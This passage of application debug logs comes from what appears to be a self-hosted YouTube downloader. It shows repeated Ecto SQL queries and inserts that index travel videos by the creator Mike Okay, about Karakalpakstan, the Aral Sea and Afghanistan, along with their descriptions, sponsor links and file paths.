(s0."id" = ?) [3] 19:30:20.056 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:20.056 [debug] QUERY OK source="media_items" db=0.2ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18990] 19:30:20.056 [debug] Current batch of media processed. Will check again in 1000ms 19:30:21.057 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "duration" => 1857, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", "id" => "oiGyXylltRE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oiGyXylltRE", "playlist_index" => 16, "timestamp" => 1766162042, "title" => "Inside the Country that Almost Existed", "upload_date" => "20251219"} 19:30:21.058 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:21.058 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:21.059 [debug] QUERY OK source="media_items" db=0.3ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 19:30:21.060 [debug] QUERY OK source="media_items" db=0.8ms idle=1003.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "e842feb2-c0ef-4bf1-9352-54bfb49e9443", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 02:30:21Z], ~U[2026-08-20 02:30:21Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 19:30:21.061 [debug] QUERY OK source="sources" db=0.2ms idle=90.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:21.061 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:21.062 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18991] 19:30:21.062 [debug] Current batch of media processed. Will check again in 1000ms 19:30:22.063 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 1552, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", "id" => "XaO_IcYqzRs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XaO_IcYqzRs", "playlist_index" => 17, "timestamp" => 1764952604, "title" => "Drunk Camping in an Abandoned Soviet Ghost Ship", "upload_date" => "20251205"} 19:30:22.064 [debug] QUERY OK source="sources" db=0.2ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:22.064 [debug] QUERY OK source="sources" db=0.2ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:22.065 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 19:30:22.066 [debug] QUERY OK source="media_items" db=0.8ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "0eac4d2b-3097-45d7-9890-020aa3a5ef9d", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 02:30:22Z], ~U[2026-08-20 02:30:22Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 19:30:22.066 [debug] QUERY OK source="sources" db=0.2ms idle=94.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:22.067 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:22.067 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18992] 19:30:22.067 [debug] Current batch of media processed. Will check again in 1000ms 19:30:23.068 [debug] Current batch of media processed. Will check again in 1000ms 19:30:24.069 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2619, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", "id" => "TePUvifOHbk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TePUvifOHbk", "playlist_index" => 18, "timestamp" => 1763741498, "title" => "Crossing Afghanistan's Deadly Coal Mine Route", "upload_date" => "20251121"} 19:30:24.070 [debug] QUERY OK source="sources" db=0.2ms idle=287.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:24.070 [debug] QUERY OK source="sources" db=0.1ms idle=287.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:24.071 [debug] QUERY OK source="media_items" db=0.3ms idle=288.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 19:30:24.072 [debug] QUERY OK source="media_items" db=1.1ms idle=289.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "a2acbb5e-41fa-4318-8556-4ea6e99dbed7", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 02:30:24Z], ~U[2026-08-20 02:30:24Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 19:30:24.073 [debug] QUERY OK source="sources" db=0.2ms idle=98.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:24.073 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:24.074 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18993] 19:30:24.074 [debug] Current batch of media processed. Will check again in 1000ms 19:30:25.075 [debug] Current batch of media processed. Will check again in 1000ms 19:30:26.076 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2078, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", "id" => "_uOW3KGPqtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_uOW3KGPqtA", "playlist_index" => 19, "timestamp" => 1762533339, "title" => "Afghanistan Broke Me..", "upload_date" => "20251107"} 19:30:26.077 [debug] QUERY OK source="sources" db=0.3ms idle=294.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", 